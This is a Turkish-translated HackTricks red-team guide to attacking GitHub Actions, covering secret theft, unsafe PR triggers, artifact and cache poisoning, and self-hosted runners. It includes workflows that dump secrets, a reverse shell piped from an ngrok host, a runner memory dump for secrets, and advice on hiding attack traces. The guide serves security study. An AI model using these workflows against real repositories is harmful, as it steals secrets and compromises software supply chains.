Abusing Github Actions

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Bu sayfada bulabileceğiniz şeyler:

  • Bir saldırganın bir Github Eylemine erişmeyi başardığında tüm etkilerin özeti

  • Bir eyleme erişim sağlamanın farklı yolları:

  • Eylemi oluşturma izinlerine sahip olmak

  • Çekme isteği ile ilgili tetikleyicileri kötüye kullanma

  • Diğer harici erişim tekniklerini kötüye kullanma

  • Zaten ele geçirilmiş bir depodan dönüş yapma

  • Son olarak, bir eylemi içeriden kötüye kullanmak için son aşama saldırı teknikleri bölümü (belirtilen etkileri nedeniyle)

Etkilerin Özeti

Github Eylemleri hakkında temel bilgilere göz atmak için bir giriş yapın.

Bir dizin içinde keyfi Github eylemlerini yürütebilir/kod enjekte edebilirseniz, şunları yapabilirsiniz:

  • O repo/organizasyondan sekreteri çalabilirsiniz.

  • Sadece enjekte edebiliyorsanız, iş akışında zaten bulunan her şeyi çalabilirsiniz.

  • AWS ve GCP gibi diğer platformlara erişmek için repo ayrıcalıklarını kötüye kullanma.

  • Özel işçilerde kod yürütebilirsiniz (özel işçiler kullanılıyorsa) ve oradan dönüş yapmaya çalışabilirsiniz.

  • Depo kodunu üzerine yazabilirsiniz.

  • Bu, GITHUB_TOKEN'ın ayrıcalıklarına bağlıdır (varsa).

  • Dağıtımları ve diğer artifaktları tehlikeye atabilirsiniz.

  • Kod bir şeyleri dağıtıyorsa veya depoluyorsa, bunu değiştirebilir ve daha fazla erişim elde edebilirsiniz.

GITHUB_TOKEN

Bu "gizli" ( ${{ secrets.GITHUB_TOKEN }} ve ${{ github.token }}'dan gelen) token, yönetici bu seçeneği etkinleştirdiğinde verilir:

Bu token, bir Github Uygulaması'nın kullanacağı aynı token olduğundan, aynı uç noktalara erişebilir: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github, bir repo'nun GITHUB_TOKEN kullanarak diğer dahili getirilere erişmesine izin veren bir akış yayınlamalıdır.

Bu token'ın olası izinlerini şurada görebilirsiniz: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Bu token'lar işlem tamamlandıktan sonra süresi dolacaktır. Bu token'lar şuna benzer: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Bu token ile yapabileceğiniz bazı ilginç şeyler:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Birkaç durumda, github kullanıcı belirteçlerini Github Actions envs içinde veya secrets içinde bulabilirsiniz. Bu belirteçler size depo ve organizasyon üzerinde daha fazla ayrıcalık verebilir.

Github Action çıktısında secrets'ları listele

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Secretlerle ters kabuk alın

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Github Token'a verilen izinleri kontrol etmek diğer kullanıcıların depolarındaki eylemlerin günlüklerini kontrol ederek mümkündür:

İzin Verilen Yürütme

Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olabilir, çünkü bu durumda kuruluşta yeni bir repo oluşturma erişiminiz olduğu veya bir depoda yazma izinlerinizin olduğu varsayılmaktadır.

Bu senaryoda iseniz, İçeriden bir eylem ile ilgili teknikleri kontrol edebilirsiniz.

Repo Oluşturmadan Yürütme

Bir kuruluşun üyeleri yeni depolar oluşturabilir ve github eylemlerini yürütebilirseniz, yeni bir repo oluşturabilir ve kuruluş düzeyinde ayarlanan sırları çalabilirsiniz.

Yeni Bir Şubeden Yürütme

Eğer zaten yapılandırılmış bir Github Eylemi içeren bir depoda yeni bir şube oluşturabilirseniz, onu değiştirebilir, içeriği yükleyebilir ve ardından bu eylemi yeni şubeden yürütebilirsiniz. Bu şekilde depoyu ve kuruluş düzeyindeki sırları dışa aktarabilirsiniz (ancak onların nasıl adlandırıldığını bilmelisiniz).

Değiştirilmiş eylemi manuel olarak yürütme yapabilirsiniz, bir PR oluşturulduğunda veya bazı kodlar itildiğinde (ne kadar gürültülü olmak istediğinize bağlı olarak):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Farklı tetikleyiciler vardır ki bunlar bir saldırganın başka bir depodaki bir Github Eylemini yürütmesine izin verebilir. Eğer bu tetiklenebilir eylemler kötü yapılandırılmışsa, bir saldırgan bunları tehlikeye atabilir.

pull_request

Çalışma tetikleyici pull_request, bir çekme isteği alındığında çalışma akışını her zaman yürütür, bazı istisnalarla: varsayılan olarak, ilk kez işbirliği yaptığınızda, bir bakım kişisinin iş akışının çalışmasını onaylaması gerekecektir:

Varsayılan sınırlama ilk kez katkıda bulunanlar içindir, bir geçerli hata/yazım hatasını düzeltip ardından yeni pull_request ayrıcalıklarınızı kötüye kullanmak için diğer PR'lar gönderebilirsiniz.

Bunu test ettim ve işe yaramıyor: Başka bir seçenek, projeye katkıda bulunan ve hesabını silen birinin adıyla bir hesap oluşturmak olabilir.

Ayrıca, varsayılan olarak hedef depoya yazma izinlerini ve secrets erişimini engeller, belgelerde belirtildiği gibi:

GITHUB_TOKEN hariç, bir iş akışı bir çatallanmış depodan tetiklendiğinde secrets'lar çalıştırıcıya iletilmez. GITHUB_TOKEN çekme isteklerinde yalnızca okuma izinlerine sahiptir.

Bir saldırgan, Github Eyleminin tanımını değiştirerek keyfi şeyler yürütmek ve keyfi eylemler eklemek için değiştirebilir. Bununla birlikte, belirtilen sınırlamalar nedeniyle sırları çalamayacak veya depoyu üzerine yazamayacaktır.

Evet, saldırgan PR'de tetiklenecek github eylemini değiştirirse, Github Eylemi kullanılan eylem o olacaktır ve orijin depodan değil!

Saldırganın yürütülen kodu da kontrol ettiği için, GITHUB_TOKEN üzerinde sırlar veya yazma izinleri olmasa bile, bir saldırgan örneğin zararlı dosyalar yükleyebilir.

pull_request_target

Çalışma tetikleyici pull_request_target, hedef depoya yazma izni ve secrets erişimi (ve izin istemez).

Çalışma tetikleyici pull_request_target'ın temel bağlamda çalıştığını ve PR tarafından verilen bağlamda değil olduğunu (güvensiz kodları yürütmekten kaçınmak için) unutmayın. pull_request_target hakkında daha fazla bilgi için belgelere bakın. Ayrıca, bu belirli tehlikeli kullanım hakkında daha fazla bilgi için bu github blog yazısına bakın.

Yürütülen iş akışının temelde tanımlanan ve PR'de değil olan bir iş akışı olduğu için pull_request_target'ın güvenli olduğu düşünülebilir, ancak bazı durumlarda değildir.

Ve bu, secrets erişimine sahip olacaktır.

workflow_run

workflow_run tetikleyici, tamamlandığında, istendiğinde veya devam ederken farklı bir iş akışını çalıştırmayı sağlar.

Bu örnekte, ayrı "Testleri Çalıştır" iş akışının tamamlandıktan sonra bir iş akışının nasıl yapılandırıldığı:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Ayrıca, belgelere göre: workflow_run olayı tarafından başlatılan iş akışı, önceki iş akışı olmasa bile gizli bilgilere erişebilir ve belirteçler yazabilir.

Bu tür bir iş akışı, dış bir kullanıcı tarafından pull_request veya pull_request_target aracılığıyla tetiklenebilen bir iş akışına bağlıysa saldırıya uğrayabilir. Birkaç zayıf örnek bu blogda bulunabilir. İlk örnek, saldırganın kodunu indiren workflow_run tetiklenmiş iş akışıdır: ${{ github.event.pull_request.head.sha }} İkinci örnek, güvensiz kodun bir artefaktı workflow_run iş akışına geçirmesi ve bu artefaktın içeriğini kullanarak RCE'ye karşı savunmasız hale getirmesidir.

workflow_call

YAPILACAKLAR

YAPILACAKLAR: Çalıştırıldığında pull_request'dan kullanılan/indirilen kodun orijinalden mi yoksa çatal PR'den mi olduğunu kontrol edin

Çatal Yürütme Kötüye Kullanımı

Dış bir saldırganın bir GitHub iş akışını yürütmeyi başarabileceği tüm yolları belirttik, şimdi bu yürütmelerin, yanlış yapılandırılmışsa, nasıl kötüye kullanılabileceğine bakalım:

Güvensiz kontrol yürütme

pull_request durumunda, iş akışı PR bağlamında yürütülecek (bu nedenle kötü niyetli PR'lerin kodunu yürütecek), ancak önce izin verilmesi gereken ve bazı kısıtlamalarla çalışacaktır.

pull_request_target veya workflow_run kullanan bir iş akışı, pull_request_target veya pull_request tarafından tetiklenebilen bir iş akışına bağlıysa, orijinal depodan kod çalıştırılacaktır, bu nedenle saldırgan yürütülen kodu kontrol edemez.

Ancak, eylemin bir açık PR kontrolü varsa ve bu kontrol kodu PR'den alacak (ve temel değil), saldırganın kontrol ettiği kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):

# GÜVENİLİR DEĞİL. Sadece bir örnek olarak sağlanmıştır.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potansiyel olarak güvensiz kod, npm install veya npm build sırasında çalıştırılmaktadır çünkü derleme komut dosyaları ve referans paketler PR'nin yazarı tarafından kontrol edilmektedir.

Kullanılabilecek zayıf eylemleri aramak için bir github dork'u: event.pull_request pull_request_target extension:yml ancak, eylemin yanlış yapılandırılmış olsa bile işlerin güvenli bir şekilde yürütülmesi için farklı yapılandırma yöntemleri vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu kullanım).

Bağlam Betik Enjeksiyonları

Belirli github bağlamları kullanıcının oluşturduğu verilerle kontrol edilen belirli bağlamlar vardır. Eğer github eylemi bu verileri yürütmek için kullanıyorsa, bu, keyfi kod yürütme'ye yol açabilir:

pageGh Actions - Context Script Injections

GITHUB_ENV Betik Enjeksiyonu

Belgelerden: Bir çevre değişkenini tanımlayarak veya güncelleyerek ve bunu GITHUB_ENV çevre dosyasına yazarak, bir iş akışı görevindeki sonraki adımlarda çevre değişkenini kullanılabilir hale getirebilirsiniz.

Bir saldırgan bu env değişkenine herhangi bir değer enjekte edebilirse, ardışık adımlarda LD_PRELOAD veya NODE_OPTIONS gibi kodları yürütebilecek env değişkenlerini enjekte edebilir.

Örneğin (bu ve bu), yüklenen bir artefaktın içeriğini GITHUB_ENV env değişkenine depolamak için güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şuna benzer bir şey yükleyebilir:

Zayıf Üçüncü Taraf Github Eylemleri

Bu blog yazısında belirtildiği gibi, bu Github Eylemi farklı iş akışlarından ve hatta depolardan artefaklara erişim sağlar.

Sorun şudur ki, path parametresi ayarlanmazsa, artefakt mevcut dizine çıkarılır ve daha sonra kullanılabilecek dosyaları geçersiz kılabilir veya hatta iş akışında yürütülebilir dosyaları geçersiz kılabilir. Bu nedenle, Artefakt savunmasızsa, bir saldırgan bu durumu kötüye kullanarak, Artefakte güvenen diğer iş akışlarını tehlikeye atabilir.

Zayıf iş akışı örneği:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Bu iş akışı ile saldırı gerçekleştirilebilir:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Diğer Harici Erişim

Silinen Ad Alanı Repo Kaçırma

Bir hesap adını değiştirdiğinde başka bir kullanıcı bir süre sonra o adı kullanarak bir hesap kaydedebilir. Eğer bir depo adı değişmeden önce 100'den az yıldıza sahipse, Github yeni kayıtlı kullanıcının silinen depo ile aynı adı oluşturmasına izin verecektir.

Bu nedenle, bir eylem bir mevcut olmayan hesaptan bir depo kullanıyorsa, hala bir saldırganın o hesabı oluşturup eylemi tehlikeye atabileceği mümkündür.

Eğer diğer depolar bu kullanıcı depolarından bağımlılıklar kullanıyorsa, bir saldırgan bunları ele geçirebilir. Daha kapsamlı bir açıklama için şuraya bakabilirsiniz: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Dönüşümü

Bu bölümde, birinciye erişimimiz olduğunu varsayarak bir depodan diğerine dönüşüm yapmamızı sağlayacak tekniklerden bahsedeceğiz (önceki bölüme bakın).

Önbellek Zehirlenmesi

Bir önbellek aynı dalda çalışan iş akışları arasında korunur. Bu, bir saldırganın bir paket ele geçirirse ve daha sonra önbelleğe kaydedilip daha yetkili bir iş akışı tarafından indirilip ve yürütülürse, o iş akışını da tehlikeye atabileceği anlamına gelir.

pageGH Actions - Cache Poisoning

Sanal Nesne Zehirlenmesi

İş akışları diğer iş akışlarından ve hatta depolardan sanal nesneleri kullanabilir, bir saldırganın daha sonra başka bir iş akışı tarafından kullanılan bir sanal nesneyi yükleyen Github Eylemini ele geçirmesi durumunda, diğer iş akışlarını da tehlikeye atabilir:

pageGh Actions - Artifact Poisoning

Eylem Sonrası Sömürü

AWS ve GCP'ye OIDC Aracılığıyla Erişim

Aşağıdaki sayfalara bakın:

pageAWS - Federation AbusepageGCP - Federation Abuse

Sırlara Erişim

Bir betiğe içerik enjekte ediyorsanız, sırlara nasıl erişebileceğinizi bilmek ilginç olabilir:

  • Eğer sır veya belirteç bir çevre değişkenine ayarlanmışsa, printenv kullanarak doğrudan çevrede erişilebilir.

Github Eylem çıktısında sırları listele

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Sırlarla ters kabuk alın</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Eğer secret doğrudan bir ifadede kullanılıyorsa, oluşturulan shell betiği diskte saklanır ve erişilebilir.

cat /home/runner/work/_temp/*

* Bir JavaScript eylemi için secrets, çevresel değişkenler aracılığıyla gönderilir
* ```bash
ps axe | grep node
  • Özel bir eylem için, programın aldığı secret'i nasıl kullandığına bağlı olarak risk değişebilir:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kendi barındıran çalıştırıcıları Kötüye Kullanma

Github Eylemlerinin Github dışı altyapıda yürütüldüğü nasıl bulunacağı aranarak runs-on: self-hosted ifadesi Github Eylemi yapılandırma yaml'ında aranabilir.

Kendi barındıran çalıştırıcılara ekstra hassas bilgilere, diğer ağ sistemlerine (ağdaki savunmasız uç noktalar mı? meta veri servisi mi?) erişim olabilir veya, izole edilmiş ve yok edilmiş olsa bile, aynı anda birden fazla eylem çalıştırılabilir ve kötü niyetli olan diğerinin diğerinin secrets'larını çalabilir.

Kendi barındıran çalıştırıcılarda, _Runner.Listener**_** işleminden secrets'ları elde etmek de mümkündür** ve bu işlem, belleğini dökerek herhangi bir adımda iş akışlarının tüm secrets'larını içerecektir:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Daha fazla bilgi için bu gönderiye bakın.

Github Docker Görüntüleri Kayıt Defteri

Github içinde bir Docker görüntüsü oluşturup depolayan Github eylemleri yapmak mümkündür. Bir örnek aşağıdaki genişletilebilir bölümde bulunabilir:

Github Eylemi Oluştur & Docker Görüntüsü Yükle

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır.

Daha sonra depo üzerinde okuma izinlerine sahip bir kullanıcı, bir kişisel erişim belirteci kullanarak Docker İmajını indirebilecektir:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Sonra, kullanıcı Docker imaj katmanlarında sızdırılmış sırları arayabilir:

Github Actions günlüklerinde Hassas Bilgiler

Github, eylemler günlüklerinde gizli değerleri tespit etmeye ve göstermemeye çalışsa da, eylemin yürütülmesi sırasında üretilmiş diğer hassas veriler gizlenmeyecektir. Örneğin, bir gizli değerle imzalanmış bir JWT gizlenmeyecektir, özel olarak yapılandırılmadıkça.

İzlerinizi Gizleme

(Teknik buradan) İlk olarak, herhangi bir PR'nin Github'da ve hedef GitHub hesabında halka açık olarak görülebilir olduğunu belirtmek gerekir. GitHub'ta varsayılan olarak, bir PR'yi internetten silemeyiz, ancak bir hile var. Github tarafından askıya alınan hesaplar için, tüm PR'ler otomatik olarak silinir ve internetten kaldırılır. Dolayısıyla etkinliğinizi gizlemek için ya GitHub hesabınızın askıya alınmasını ya da hesabınızın işaretlenmesini sağlamanız gerekir. Bu, GitHub'daki tüm etkinliklerinizi internetten gizler (temelde tüm hile PR'lerinizi kaldırır).

GitHub'ta bir organizasyon, hesapları GitHub'a bildirme konusunda çok proaktiftir. Yapmanız gereken tek şey, Issue'da "bazı şeyler" paylaşmak ve hesabınızın 12 saat içinde askıya alınmasını sağlamalarını sağlamaktır :p ve işte burada, hilenizi GitHub'ta görünmez hale getirdiniz.

Hedef alındıklarını anlamak için bir organizasyonun yapabileceği tek şey, GitHub UI'dan PR'nin kaldırıldığından emin olmak için SIEM'den GitHub günlüklerini kontrol etmektir.

Araçlar

Aşağıdaki araçlar Github Eylem iş akışlarını bulmak ve hatta zayıf olanları bulmak için kullanışlıdır:

Last updated